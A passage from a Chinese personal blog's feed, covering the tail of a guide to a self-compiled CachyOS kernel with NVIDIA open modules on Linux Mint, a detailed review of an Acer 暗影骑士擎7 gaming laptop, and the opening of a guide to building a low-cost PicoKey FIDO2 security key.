</span><span>cat</span><span> </span><span>/proc/version</span></div></div><div><div><div>11</div></div><div><span>Linux</span><span> </span><span>version</span><span> </span><span>7.1.1-cachyos-bore-lto-lingxi9374</span><span> (lingxi@lingxi-Shadow-SH16-74) (</span><span>gcc</span><span> (Ubuntu </span><span>13.3.0-6ubuntu2~24.04.1</span><span>) 13.3.0, GNU ld (</span><span>GNU</span><span> </span><span>Binutils</span><span> </span><span>for</span><span> </span><span>Ubuntu</span><span>) 2.42) </span><span>#3 SMP PREEMPT_DYNAMIC Tue Jun 23 01:19:49 CST 2026</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>
<section><h2>后续维护备忘<a href="#后续维护备忘"><span>#</span></a></h2><p>使用了自编译内核意味着维护成本也会增加，它不同于官方内核的自动化配置，一切后续更新维护都需要你的决策下才可进行。这里给出备忘列表，方便你我参考：</p>

<table><thead><tr><th>场景</th><th>你需要做的事</th></tr></thead><tbody><tr><td><strong>7.1 内核小版本更新</strong>（比如你自己重新编译 7.1.2）</td><td>重新去 GitHub 下载 open-gpu-kernel-modules 源码，重新 <code>make modules &amp;&amp; make modules_install</code></td></tr><tr><td><strong>NVIDIA 发布 595.72 等驱动更新</strong></td><td>Ubuntu 包会自动更新用户空间库，但<strong>内核模块需要手动重新编译</strong></td></tr><tr><td><strong>回退到 6.14/6.17 内核</strong></td><td>什么都不用做，DKMS 的闭源模块自动工作</td></tr><tr><td><strong>系统 apt upgrade 升级了 nvidia-dkms-595-open</strong></td><td>注意检查 <code>/lib/modules/7.1.1.../updates/dkms/</code> 是否又被写入闭源模块，如果有就删掉</td></tr></tbody></table><p><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/avantages-de-linux-mint-sur-windows-11-1536x864.99u0z3wrdl.png" alt=" " /></p></section>
<section><h2>额外建议<a href="#额外建议"><span>#</span></a></h2><p>换内核后可以装个 <code>gamemode</code> 配合 CachyOS 内核的 BORE 调度器：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>apt</span><span> </span><span>install</span><span> </span><span>gamemode</span></div></div><div><div><div>2</div></div><div><span># Steam 启动选项添加：gamemoderun %command%</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>以及启用 CPU 性能模式：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>apt</span><span> </span><span>install</span><span> </span><span>linux-cpupower</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>cpupower</span><span> </span><span>frequency-set</span><span> </span><span>-g</span><span> </span><span>performance</span></div></div><div><div><div>3</div></div><div><span># 或者在 CPU Power GUI 调整</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>
<section><h2>总结<a href="#总结"><span>#</span></a></h2><p>如果一切结果正常，那么恭喜你，成功跟着我在 Linux Mint 制作并使用了自编译内核的同时保留了 NVIDIA 独显驱动！你的 <strong>Linux Mint 22.3 + Linux CachyOS BORE 7.1 Kernel + NVIDIA Open 模块</strong> 组合现在已经完全可用。BORE 调度器对游戏帧时间稳定性的改善应该能感觉得到，Enjoy！🎮</p><p><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/Screenshot_20260625_231305.77e86zjgbw.png" alt=" " /></p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lingxi9374.top/posts/acer-shadow-knight-qing-7/</id>
      <title type="text">宏碁暗影骑士·擎7 个人使用体验心得</title>
      <published>2026-06-25T00:00:00.000Z</published>
      <updated>2026-06-25T00:00:00.000Z</updated>
      <author><name>泠熙_LingXi_</name></author>
      <link rel="alternate" href="https://blog.lingxi9374.top/posts/acer-shadow-knight-qing-7/"/>
      <summary type="text">¥ 7140 国补拿下 i7-14650HX + RTX 5060 Laptop 性价比游戏本</summary>
      <content type="html"><![CDATA[<p>(不会做封面qwq)</p>
 
<p>2026 年简直可以说是笔记本电脑最黑暗的一年<sup><a href="https://www.bilibili.com/video/BV1Db5F6WE9u" target="_blank">[引用]</a></sup>，不同于 22 年的矿潮涨价，今年是由于 AI 算力需求暴涨导致硬件供应全投向企业了，进而消费端产品涨幅已超当年矿潮。可以说今年本届高考生将面临两种选择：要不就挑老型号，要不就直接开冲新款。如果笔记本电脑真的是刚需的话，看在没有降价动作的情况下，就不要当等等党了，不然再等下去想买的本子只会越来越贵，，</p>
<p>在硬件价格暴涨的时期，许多厂商为了销量尽力拉低销售价格，但代价就是砍了存储配置：比如说 Ultra 9 275HX + RTX 5070 的游戏本（默认16+1T）价格至少是一万二软妹币，但 16G RAM+ 512G NVME 只卖八九千那样。尽管如此，看那些 3A 游戏占用的存储大小少说九十 GB 起步，512G 存储已经很难“战未来”了但你也不要用这理由冲2TB，先买1TB后面不够再加也不是不行，所以挑选笔记本难免会有取舍：总结就是“为了性能砍储存，为了储存砍性能”。</p>
<p>你问我“16G RAM”会不会不够用？我只想说在内存条比黄金还贵的时期，我个人是不建议冲高上 32G 的内存的，只能硬着头皮先用两年 16G 再低价加内存，配合 <a href="https://memreduct.app/cn/" target="_blank">Mem Reduct</a> 优化内存占用，对于打游戏来说足够了。</p>
<p>接下来作为一个已经买好游戏本的准大一学生，来讲讲我挑选、购买与使用游戏本的短暂经历吧</p>
<section><h2>我为什么选择了「 宏碁暗影骑士 」？<a href="#我为什么选择了-宏碁暗影骑士-"><span>#</span></a></h2> <p>高考考完后的一天，我已经在噼里啪啦把很多评测视频都看一遍了，就没有我满意的机器。在此之前我也断断续续总结了我的避雷名单，来看看决赛圈还剩什么了：</p><ol>
<li>联想拯救者系列：无论是 2025 款 R/Y 7000/9000 P 还是 2026 款，价格都已经贵上天了（抢钱者、溢价者名不虚传），并且拯救者还有<code>铝管散热</code>、<code>黑胶封装</code>、<code>低温焊锡</code>、<code>低分辨率低刷新率屏幕</code>等雷点，综合给到拉完了</li>
<li>华硕天选系列：去年因为华硕宣发太狠了我差点敲定 天选6 Pro 了，那个时候价格还算实惠（六千八软妹币那样），但今年听我好友说网上风评反转，天选6P的质量品控问题重重，同时价格也涨上来了。华硕作为一个一线品牌，让我有点不接受这个现状，只好排雷 虽然如此但天选Air 2025 想入手的可以再看看，这款目前网上风评印象中不差，价格用了国补也还行，但2026款的air就真的贵了）</li>
<li>机械革命：众所周知网络上流传着“买了鸡哥你就学会修笔记本了”的笑话，买他家的笔记本无论是什么系列，一两年下来维修成本都够买新的一台了，花不起花不起）</li>
<li>惠普暗影精灵系列：这个因为“黑屏精灵”（暗影精灵9）事件也是久仰大名了，虽然说后续产品修复了，但看这样的售后保障我也狠狠避雷了）</li>
<li>微星神影系列：去年微星神影16“AI游戏本”才七千左右，那时候我对AI训练有点感兴趣也敲定一段时间蹲着，当时这个价位还能上5070，但现在来看已经翻到一万多了翻了不知道多少倍，根据家里的预算也已经被迫排除在外了qwq</li>
</ol><p>一线二线品牌纷纷炸雷，我也只好把目光投向从未被知名评测UP提及的品牌：Acer 宏<ruby><rb>碁</rb><rt>jī</rt></ruby></p><p>“碁”通“棋”，在台湾有“qí”和“jī”两个读音，但大陆只有“qí”音，根据官方宣传视频的读音为“jī”，这里也沿用该读音</p><p>Acer 听起来虽然没那么大众，但它推出的性价比游戏本系列暗影骑士也是足够令人眼前一亮的，另一个游戏本系列掠夺者主打高端电竞旗舰，一般人没必要看。</p><p>类似联想拯救者以 Y/R 前缀区分 Intel/AMD CPU，宏碁暗影骑士用“擎”“龙”后缀区分 Intel/AMD CPU。618 之前几天我根据好友的推荐决定买暗影骑士龙7了CPU 是锐龙 7 260，7840马甲还在追我，国补六千八就能拿下，但由于其他群友与家人朋友的劝告，说 AMD 本做的很烂，不仅有积热问题还有 AMD 特有的<a href="https://www.zhihu.com/question/556126847/answer/2711486575" target="_blank">鸡血 PBO</a>、FTPM 影响性能<sup><a href="https://sspai.com/post/72029" target="_blank">[1]</a><a href="https://zhuanlan.zhihu.com/p/566537204" target="_blank">[2]</a></sup>以及笔记本容易睡死等问题……</p><div><div><div></div><div>注意</div></div><div><p>内容来源于网络搜集，如有错误欢迎补充与指正！</p></div></div><p>最终只好挑了暗影骑士擎7标准版，它的硬件参数如下：</p><ul>
<li>CPU: 14th Gen Intel Core i7-14650HX，Intel 7 制程工艺，16 核心（8 大核 + 8 小核）24 线程</li>
<li>GPU: NVIDIA RTX 5060 Laptop 8GB</li>
<li>内存: 金邦 DDR5 5600 MHz SO-DIMM 16 GB x1，有两个内存插槽(空闲预留一个)</li>
<li>硬盘: 长江存储 YMTC PC41Q 1TB M.2 PCIe 4.0*4，有两个M.2插槽(空闲预留一个)</li>
<li>屏幕: 16英寸 2.5K 240Hz sRGB</li>
<li>网卡: Intel Wi-Fi 7 BE200 （支持蓝牙 5.4） + Realtek 1000Mbps以太网口</li>
<li>电池与电源: 53 Wh 锂电池 + 180W 电源适配器</li>
<li>散热: 双风扇 + 五热管 + 四出风口</li>
<li>功耗: 整机理论最高 170W（CPU+GPU双烤）</li>
<li>I/O 接口:
<ul>
<li>左侧: 1×USB 3.2 Gen2 Type-A、3.5mm耳机/麦克风二合一</li>
<li>右侧: 1×USB 3.2 Gen2 Type-A 和 1×USB 3.2 Type-C（支持PD充电）</li>
<li>后侧: 1×HDMI 2.1、1×RJ45 网口、1×USB 3.2 Type-C、电源接口</li>
</ul>
</li>
<li>机身规格:
<ul>
<li>尺寸: 361×259×25mm</li>
<li>厚度: 25 mm</li>
<li>重量: 约 2.35kg</li>
<li>外壳颜色； 黑色，金属质感外壳</li>
</ul>
</li>
<li>音频与摄像: 内置扬声器、麦克风、Chicony USB 2.0 摄像头(720P清晰度)</li>
<li>其他: 全尺寸 RGB 背光键盘、全尺寸方向键、含独立小数字键盘与触摸板</li>
</ul><p>除此之外，暗影骑士擎7还有擎7S和擎7Pro版本，关键区别如下：</p>

<table><thead><tr><th>对比项</th><th>擎7 标准版（i7-14650HX）</th><th>擎7S（Ultra 9 275HX）</th><th>擎7Pro（Ultra 9 275HX）</th></tr></thead><tbody><tr><td><strong>处理器</strong></td><td>i7-14650HX（14代）</td><td>Ultra 9 275HX（Arrow Lake）</td><td>Ultra 9 275HX（Arrow Lake）</td></tr><tr><td><strong>显卡</strong></td><td>RTX 5060（115W）</td><td>RTX 5080（175W）</td><td>RTX 5080（175W）</td></tr><tr><td><strong>屏幕</strong></td><td>16英寸 2.5K 240Hz sRGB</td><td>16英寸 2.5K 240Hz sRGB</td><td>18英寸 2.5K 240Hz DCI-P3</td></tr><tr><td><strong>雷电接口</strong></td><td>USB-C（支持PD）</td><td><strong>雷电4 ×2</strong></td><td><strong>雷电5 ×2</strong></td></tr><tr><td><strong>有线网口</strong></td><td>1Gbps</td><td><strong>2.5Gbps</strong></td><td><strong>双2.5Gbps</strong></td></tr><tr><td><strong>无线网卡</strong></td><td>Intel Wi-Fi 7 BE200</td><td>Intel Wi-Fi 7 Killer BE1750X</td><td>Intel Wi-Fi 7 Killer BE1750X</td></tr><tr><td><strong>内存插槽</strong></td><td>2个（最高64GB）</td><td>2个（最高96GB）</td><td>4个（最高192GB）</td></tr><tr><td><strong>硬盘位</strong></td><td>双M.2</td><td>三M.2</td><td>四M.2</td></tr><tr><td><strong>机身厚度</strong></td><td>25mm</td><td><strong>19.9mm</strong>（锐薄）</td><td>较厚重</td></tr><tr><td><strong>散热</strong></td><td>5 热管 + 双风扇</td><td>9热管+双101叶风扇</td><td>VC均热板+双89叶风扇</td></tr><tr><td><strong>重量</strong></td><td>约2.35kg</td><td>约2.3kg</td><td>更重</td></tr><tr><td><strong>扬声器</strong></td><td>内置扬声器</td><td>2×SMART AMP</td><td>5×SMART AMP（含低音炮）</td></tr><tr><td><strong>定位</strong></td><td>性价比主流游戏本</td><td>锐薄性能旗舰</td><td>极致性能旗舰</td></tr></tbody></table><p>此外，擎7Pro貌似还支持 Windows Hello 面部识别(?)，根据上面的表格，可以说我挑的擎7虽然相比7S和7P砍了很多配置，但总体性价比还是不错的。 (后面两版国补后要八九千到一万那样子)</p></section>
<section><h2>购入后使用体验<a href="#购入后使用体验"><span>#</span></a></h2><div><div><div></div><div>警告</div></div><div><p>作为消费者，我没有能力与条件可进行更为专业的测试，本次测试客观上看<strong>并不严谨，仅供参考！</strong></p></div></div><section><h3>真实性能<a href="#真实性能"><span>#</span></a></h3><p>国补购机到货上门，我录着视频，等快递员拆封确认笔记本是全新的机器之后，我立刻小心搬到我房间里去开始验机，其中双烤环节最高功耗能跑到 145 W，符合日常游戏环节功耗，硬盘通电时间显示 0 小时以及通电次数在合理范围内。其他的测试这里不方便放出来，总之没有问题就是了）</p><div><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/IMG_20260618_113930..1sfpof7871.jpg" alt="AIDA64 功耗显示" /><figcaption>AIDA64 功耗显示</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/IMG_20260618_111052..pg0djbeb4.jpg" alt="DiskInfo 呈现" /><figcaption>DiskInfo 呈现</figcaption></figure></div><p>游戏的话，我在 PC 上游玩三角洲开了几局烽火综合下来非常流畅，极少有掉帧情况出现 (有也是软件优化不好)</p><p>在 Minecraft Java 26.2 OpenGL 图形渲染器下我测试了几款不同的光影不知道为什么我去MC视频设置想切成Vulkan，但重启后不生效还是显示OpenGL，没办法了），确保 NVIDIA 控制面板调好了之后才开始测试，结果如下大部分没有Low帧是因为截图软件问题截不到了）:</p><ul>
<li>BSL Shaders V10 和 Bliss 光影 最高可达 108 FPS</li>
<li>SEUS Renewed 最高可达 98 FPS</li>
<li>Complementary Unbound 最高可达 84 FPS</li>
<li>iterationT 最高可达 62 FPS，1% Low 帧可测得 37 FPS</li>
<li>SEUS PTGI 软光追 最高可达 45 FPS</li>
</ul><div><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/Bliss.232jhl2t0l.png" alt="Bliss" /><figcaption>Bliss</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/BSL-v10.4xv7ndhzsj.png" alt="BSL-v10" /><figcaption>BSL-v10</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/ComplementaryUnbound.icsi45ll7.png" alt="Complementary Unbound" /><figcaption>Complementary Unbound</figcaption></figure></div><hr /><div><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/iterationT.102u6p6z6n.png" alt="iterationT" /><figcaption>iterationT</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/SEUS-Renewed.7w7hqvq98z.png" alt="SEUS-Renewed" /><figcaption>SEUS-Renewed</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/SEUS-PTGI.8okd8m6v1p.png" alt="SEUS-PTGI" /><figcaption>SEUS-PTGI</figcaption></figure></div><p>从结果上看，这款游戏本搭载 8 GB 显存的 5060 移动端显卡对于中低端光影<strong>足够胜任</strong>了，但面对像 SEUS PTGI 这类高端光影，它显得<strong>捉襟见肘</strong>了，帧率也比在低端光影下不稳定。个人建议挑选一款<strong>能入眼的中低端光影作</strong>为日常游玩，较高端的就没必要冲了，甜品卡也吃不消）））</p><p>另外，宏碁自带了一个类似联想拯救者 Legion Zone 与华硕ROG/天选奥创中心 Armoury Crate/AURA Center 的游戏控制台，叫 Acer Control Center (但开始菜单却显示的是 Fn hotkeys and OSD)，与市面上所有品牌控制中心一样可以根据使用环境切换不同模式，同时还支持独显直连与混合模式切换，也可自定义RGB键盘背光颜色与鼠标宏、控制电源等多种功能。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/IMG_20260618_111445..6f1cp50r9n.jpg" alt="Control Center" /><figcaption>Control Center</figcaption></figure><p></p></section><section><h3>日常使用与编码体验<a href="#日常使用与编码体验"><span>#</span></a></h3><p><strong>美化:</strong></p><ul>
<li>任务栏使用 <a href="https://translucenttb.net/" target="_blank">TranslucentTB</a> 进行定制</li>
<li>资源管理器与开始菜单使用 <a href="https://explorerpatcher.net/" target="_blank">Explorer Patcher</a> 优化与定制</li>
<li>壁纸使用 Wallpaper Engine 自定义</li>
</ul><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/BT9ylBIz40.mqtm7m2b.jpg" alt="桌面一览" /><figcaption>桌面一览</figcaption></figure><p></p><p><strong>实用工具:</strong></p><ul>
<li>小工具集合: PowerToys</li>
<li>停靠顶栏: 使用 PowerToys 的<code>命令面板</code>功能</li>
<li>截图: ShareX</li>
<li>深浅色模式自动切换: Auto Dark Mode</li>
<li>应用商店/软件包管理: UniGetUI</li>
<li>文件搜索: Everything</li>
<li>下载器: AB Download Manager</li>
<li>终端: Windows Terminal + WSL2 Debian + oh-my-zsh &amp; Starship</li>
<li>解压缩软件: Nanazip</li>
<li>跨端传输: LANDrop</li>
</ul><div><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/Kb1o11wtiS.szmbcqnqy.jpg" alt="开始菜单" /><figcaption>开始菜单</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/WindowsTerminal_fEeR0j8MOZ.86ubk48vhq.jpg" alt="终端界面" /><figcaption>终端界面</figcaption></figure></div><p>这么折腾下来，开机只占了 6.1 GB 左右，不必担心美化对性能带来的负面效果（但是启动了 WSL 或者打开 IDE 或游戏，再挂个 QQ，内存就差不多吃满了）</p><p>专业媒体处理软件我就装了 Adobe 六件套 (PS,PR,AE,AU,LrC,Acrobat) 别问我哪里来的盗版，代码编辑器使用 VS Code，IDE 使用 JetBrains Toolbox 管理并安装 IDEA,PyCharm,WebStorm 三件套。</p><blockquote><p>由于这个作者只顾着打游戏和折腾 Linux 了，所以专业软件方面总结有待补充）</p></blockquote><p>双系统另一侧我选择了 Linux Mint 22.3，桌面环境使用 KDE Plasma 5.27 (因为它上游发行版是 Ubuntu 24.04 LTS，所以没有 Plasma 6)，这是使用 Layan 主题与 Colloid 图标折腾下来的效果:</p><div><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/Screenshot_20260625_231207.1hsvvep2si.png" alt="Linux 桌面美化" /><figcaption>Linux 桌面美化</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/Screenshot_20260625_231305.77e86zjgbw.png" alt="终端 Fastfetch 输出" /><figcaption>终端 Fastfetch 输出</figcaption></figure></div></section><section><h3>外设<a href="#外设"><span>#</span></a></h3><p>只有一台笔记本在游戏日用装备看来<strong>是不够的</strong>，为此我后面购买了以下外设:</p><ul>
<li>键盘: AULA 狼蛛 F2068Pro 茶轴 RGB 机械键盘(有线USB)</li>
<li>鼠标: 梦族有线鼠标 G4</li>
<li>耳机: EDIFIER 漫步者 G2 高清版 Type-C 有线款</li>
<li>散热支架(底座): 桑启 SONJE 笔记本散热器支架 Q3</li>
</ul><p>当然别忘了，这款笔记本只有两个 USB-A 接口，想要接这么多外设是 <strong>远远不够的！</strong> 所以我买了绿联的 USB 扩展坞，也顺便买了绿联的超五类 2m 网线把我家老化了跑不满速的旧网线换掉了。这样就不用担心有接口焦虑了。</p></section></section>
<section><h2>Q&amp;A<a href="#qa"><span>#</span></a></h2><section><h3>1. CPU是14代Intel，会有缩肛风险吗？<a href="#1-cpu是14代intel会有缩肛风险吗"><span>#</span></a></h3><p>桌面端在第13代、14代 Intel 处理器开始调整架构为大小核架构，然而在发布之初，Intel很可能未严格进行全面质量测试与参数标定，导致最终用户使用中可靠性与稳定性快速下降。终究自食其果。</p><p>根据“群友统计法”与网上话题讨论，标有HX的移动端处理器虽然是桌面端移植过来的，但好在14650HX 是 Intel 后续产品，其缩肛风险得到降低，我使用了一星期多了也少有卡顿问题，通常也不是硬件问题所致，而是软件优化方面的问题。</p></section><section><h3>2. 风扇噪声大吗？<a href="#2-风扇噪声大吗"><span>#</span></a></h3><p>网络上实测过双烤下噪声达到 50.2 dB 左右，是比较大的噪音了。我个人视角下，如果使用控制台调到静音模式在办公环境下会很舒适，基本无声；娱乐模式下有些许风扇声；性能模式下打游戏风扇声明显，戴耳机游玩可缓解。</p><p>如果你非常在意宿舍环境宿舍噪声过大怕打扰舍友，我只能建议晚上别打游戏或者目光转向轻薄游戏本吧）</p></section><section><h3>3. 配备的硬盘能扛得住扫盘吗？<a href="#3-配备的硬盘能扛得住扫盘吗"><span>#</span></a></h3><p>这什么抽象问题），要我说其实现在很多固态主控一般不会出大问题，即使 ACE 扫盘一直扫也能撑个两三年吧。实在不行像我一样装个火绒设置自定义规则阻止 ACE 程序扫爆硬盘。</p></section><section><h3>4. 听说功耗永远跑不满，是这样子吗？<a href="#4-听说功耗永远跑不满是这样子吗"><span>#</span></a></h3><p>我双烤的时候是 145 W，但理论最高功耗是 170 W，确实没跑满。但一般宿舍环境限电都很严，加上笔记本自带功耗墙你想怎么拉高也没多大意义，能发挥目前最佳性能打游戏丝滑不掉帧就可以了）</p></section></section>
<section><h2>总结<a href="#总结"><span>#</span></a></h2><p>如果你的笔记本预算比较紧张，又想要同价位中挑个性能最好的，可以看看这台 Acer 暗影骑士擎7，国补价 ¥ 7140 即可拿下 i7-14650HX + 5060 + 16G RAM + 1T M.2 的游戏本。可惜这款“性价比”游戏本未能出现在各大知名笔记本评测UP的视频里，只有体量小的测评博主和玩家实机视频，也许是大家对 Acer 的印象不够好的原因）</p><p>最后，希望还没购买PC的读者们好好把握机会，仔细慎重考量挑选你心仪的产品；已经购买了的读者好好爱护与享受自己购置的PC，不要乱折腾损坏报修赔到裤衩子都不剩。一台PC/笔记本可以说是和你一起同甘共苦的战友，珍惜当下才能“战未来”。让我们期待消费市场降价回温的某一天即便来的慢，至少得等两年后就是了）。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lingxi9374.top/posts/%E6%95%99%E7%A8%8B/make-your-personal-picokey-guide/</id>
      <title type="text">低成本打造一个独属于你自己的 PicoKey 安全密钥！—— LingXiの折腾记①</title>
      <published>2026-05-02T00:00:00.000Z</published>
      <updated>2026-05-02T00:00:00.000Z</updated>
      <author><name>泠熙_LingXi_</name></author>
      <link rel="alternate" href="https://blog.lingxi9374.top/posts/%E6%95%99%E7%A8%8B/make-your-personal-picokey-guide/"/>
      <summary type="text">约 30 元低成本制作一个专属于自己的物理安全密钥，时刻为你的账号安全保驾护航！</summary>
      <content type="html"><![CDATA[<section><h2>前言<a href="#前言"><span>#</span></a></h2><div><div><div></div><div>参考资料：</div></div><div><ol>
<li>
<p><a href="https://blog.lyc8503.net/post/diy-fido-key/" target="_blank">30 元低成本自制开源版 Yubikey (支持 FIDO2 的硬件安全密钥)</a></p>
</li>
<li>
<p><a href="https://blog.zinc233.top/blog/pico-key" target="_blank">超便宜的物理密钥 开源版的YubiKey • Zinc233’s Blog</a></p>
</li>
<li>
<p><a href="https://blog.pepaper.org/2025/03/%e8%87%aa%e5%88%b6%e5%85%bc%e5%ae%b9-yubikey-%e7%9a%84-fido2-%e7%a1%ac%e4%bb%b6%e5%ae%89%e5%85%a8%e5%af%86%e9%92%a5/" target="_blank">自制 FIDO2 安全密钥，平替Yubikey - Muse</a></p>
</li>
<li>
<p><a href="https://skywt.cn/blog/yubikey-intro" target="_blank">Yubikey 安全密钥折腾记（2）：使用入门 - 博客</a></p>
</li>
<li>
<p><a href="https://linux.do/t/topic/580783" target="_blank">30元成本制作一个实物安全密匙并兼容YubiKey - 开发调优 - LINUX DO</a></p>
</li>
<li>
<p><a href="https://www.5yyx.com/?p=399" target="_blank">32元制作一个超好玩的物理安全密钥Pico Keys - 淘气KO</a></p>
</li>
<li>
<p><a href="https://blog.tianyimc.com/2026/03/02/guide-picokey/" target="_blank">Pico FIDO Picokeys 30元手搓安全密钥完全教程 - yimc | Blog</a></p>
</li>
<li>
<p><a href="https://sspai.com/post/78479" target="_blank">守护数字世界的另一把钥匙：安全密钥详解 - 少数派</a></p>
</li>
</ol><p>本文章撰写前有对之前的文章作阅读参考，感谢以上大佬的博客与帖子开源！🙏🙏🙏</p></div></div><p>最近，我在 Bilibili 刷视频的时候，偶然发现许多 Minecraft 玩家分享了账号被盗的案例，这让我有些许恐慌：是啊，Microsoft Account （以下称“微软账号”）盗号现象居然越发频繁了。黑客以用户们意料之外的方式，利用与某些官网站点相似度极高的钓鱼网站，让用户无意间泄露自己的 Token/Cookie，从而盗取微软账号。</p><div><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/peTHba4.58hzldwog3.jpg" alt="吓哭了×1" /><figcaption>吓哭了×1</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/peTHqIJ.1sfntan7fd.png" alt="也是吓哭了好吧×2" /><figcaption>也是吓哭了好吧×2</figcaption></figure></div><div><div><div></div><div>注意！</div></div><div><p>代表性案例来源：</p><ul>
<li>
<p><a href="https://www.bilibili.com/video/BV1c6XTB9EVN" target="_blank">图一中的视频</a></p>
</li>
<li>
<p><a href="https://www.bilibili.com/video/BV1gvobB3EP8/?comment_on=1&amp;comment_root_id=297098693505" target="_blank">图二中的评论</a></p>
</li>
</ul></div></div><p>相信阅读我的博客的读者，会有不少人都会给自己的微软账号设置了 2FA 验证（Microsoft Authenticator 通知验证，一次性代码等）与无密码账号，确实这样会提高账号的一定的安全性。实则不然，黑客通常使用刚刚提到的钓鱼网站骗取你使用 2FA 客户端之后的登录状态（也就是 Token），从而不经过传统的撞库盗密码的方式得到你账号的控制权。</p><p>就在我看到这些坏消息焦头烂额之际，那个图一视频下的一个评论意外引起我的好奇：天下居然有这种何等宝物！只需把登录凭证存储在这么一个小玩意里面，只有在电脑插上了它才允许登录。这简直可以让黑客无机可乘啊！(bushi)</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/peTHvxx.4n8bz32ncb.png" alt="感谢高人指点" /><figcaption>感谢高人指点</figcaption></figure><p></p><p>没错！这就是这篇文章所要带给大家展示的一个非常厉害的计算机安全技术：<code>安全密钥</code>！(也称“<code>硬件密钥</code>”、<code>物理密钥</code>、<code>实体密钥</code>等)</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/peTqeh9.32ikzm5jq0.webp" alt="安全密钥" /><figcaption>安全密钥</figcaption></figure><p></p><p>有了它，你在互联网上的账号将完全属于你自己，没有拥有你的安全密钥的人都无法登录你的账号！(除非有人闯入你家偷走你的硬件安全密钥，并且知道你的 PIN 码)这将账号安全提高到了最高层次。</p></section>
<section><h2>P1: 「安全密钥」是啥？<a href="#p1-安全密钥是啥"><span>#</span></a></h2><p>其实它的官方名称是 <strong>安全令牌</strong> (英文名: <strong>Security Token</strong> )，它问世于 1980 年代，让我们引入 Wikipedia 的解释：</p><blockquote><p>A security token is a peripheral device used to gain access to an electronically restricted resource. The token is used in addition to, or in place of, a password.Examples of security tokens include wireless key cards used to open locked doors, a banking token used as a digital authenticator for signing in to online banking, or signing transactions such as wire transfers.</p><p>安全令牌是一种外设设备 ，用于访问电子受限资源。该令牌可作为密码的补充或替代使用。安全令牌的例子包括用于开锁门的无线钥匙卡、用于登录网上银行的数字认证器、签署如电汇等交易的令牌。</p><p>Security tokens can be used to store information such as passwords, cryptographic keys used to generate digital signatures, or biometric data (such as fingerprints). Some designs incorporate tamper resistant packaging, while others may include small keypads to allow entry of a PIN or a simple button to start a generation routine with some display capability to show a generated key number. Connected tokens utilize a variety of interfaces including USB, near-field communication (NFC), radio-frequency identification (RFID), or Bluetooth. Some tokens have audio capabilities designed for those who are vision-impaired.</p><p>安全令牌可用于存储密码、用于生成数字签名的密码密钥或生物识别数据（如指纹）等信息。有些设计采用防篡改包装，另一些则可能包含小键盘以便输入 PIN 码，或通过简单的按钮启动生成程序，并具备显示显示生成密钥号的功能。连接的令牌使用多种接口，包括 USB 接口、近场通信（NFC）、射频识别 （RFID）或蓝牙。部分代币具备专为视障人士设计的音频功能。</p><p>——<a href="https://en.wikipedia.org/wiki/Security_token" target="_blank">安全令牌 - 维基百科，自由的百科全书</a></p></blockquote><p>当然，上面的官方解释是在传统的银行安全领域下定义的。安全令牌有很多种分类——在计算机安全领域中，它是指 <strong>连接令牌</strong> ( <strong>Connected tokens</strong> )：连接型令牌必须与用户进行身份验证的计算机进行物理连接。此类令牌在建立物理连接后会自动将身份验证信息传输到客户端计算机，无需用户手动输入身份验证信息。但是，要使用连接型令牌，必须安装相应的输入设备。最常见的物理令牌类型是智能卡和 USB 令牌（也称为 <em>安全密钥</em> ），分别需要智能卡读卡器和 USB 端口。由开放规范组织 <a href="https://fidoalliance.org/?lang=zh-hans" target="_blank">FIDO 联盟</a> 支持的 <a href="https://fidoalliance.org/specifications/?lang=zh-hans" target="_blank">FIDO2</a> 令牌越来越受到消费者的欢迎，自 2015 年以来，主流浏览器开始支持 FIDO2 令牌，并且许多热门网站和社交媒体网站也支持 FIDO2 令牌。某个小而美软件以及某个企鹅图标的社交软件不支持，这里我不做评价（（</p><p>虽然说它在计算机发展史上也是比较 老资历 关键的进程了，但它核心在于「<strong>安全</strong>」啊！至今貌似没什么人敢破解(存疑?)，因为敢破解的应该都吃了紫菜蛋花汤没有菜花汤了基本都是银行或密钥提供商自家漏洞导致的大小规模的泄露事件会引起安全令牌的失效。而今这类事件发生的概率小到极点Ｍ＄这个草台班子咖喱味互联网公司就不好说了（（（，大家可以放心使用。</p><div><div><div><div><span><p>Server</p></span></div><div><span><p>Client</p></span></div><div><span><p>signature</p></span></div><div><span><p>bob | private key</p></span></div><div><span><p>bob | public key</p></span></div><div><span><p>alice | public key</p></span></div>
</div><div><div><span><p>Server</p></span></div><div><span><p>Client</p></span></div><div><span><p>signature</p></span></div><div><span><p>bob | private key</p></span></div><div><span><p>bob | public key</p></span></div><div><span><p>alice | public key</p></span></div>
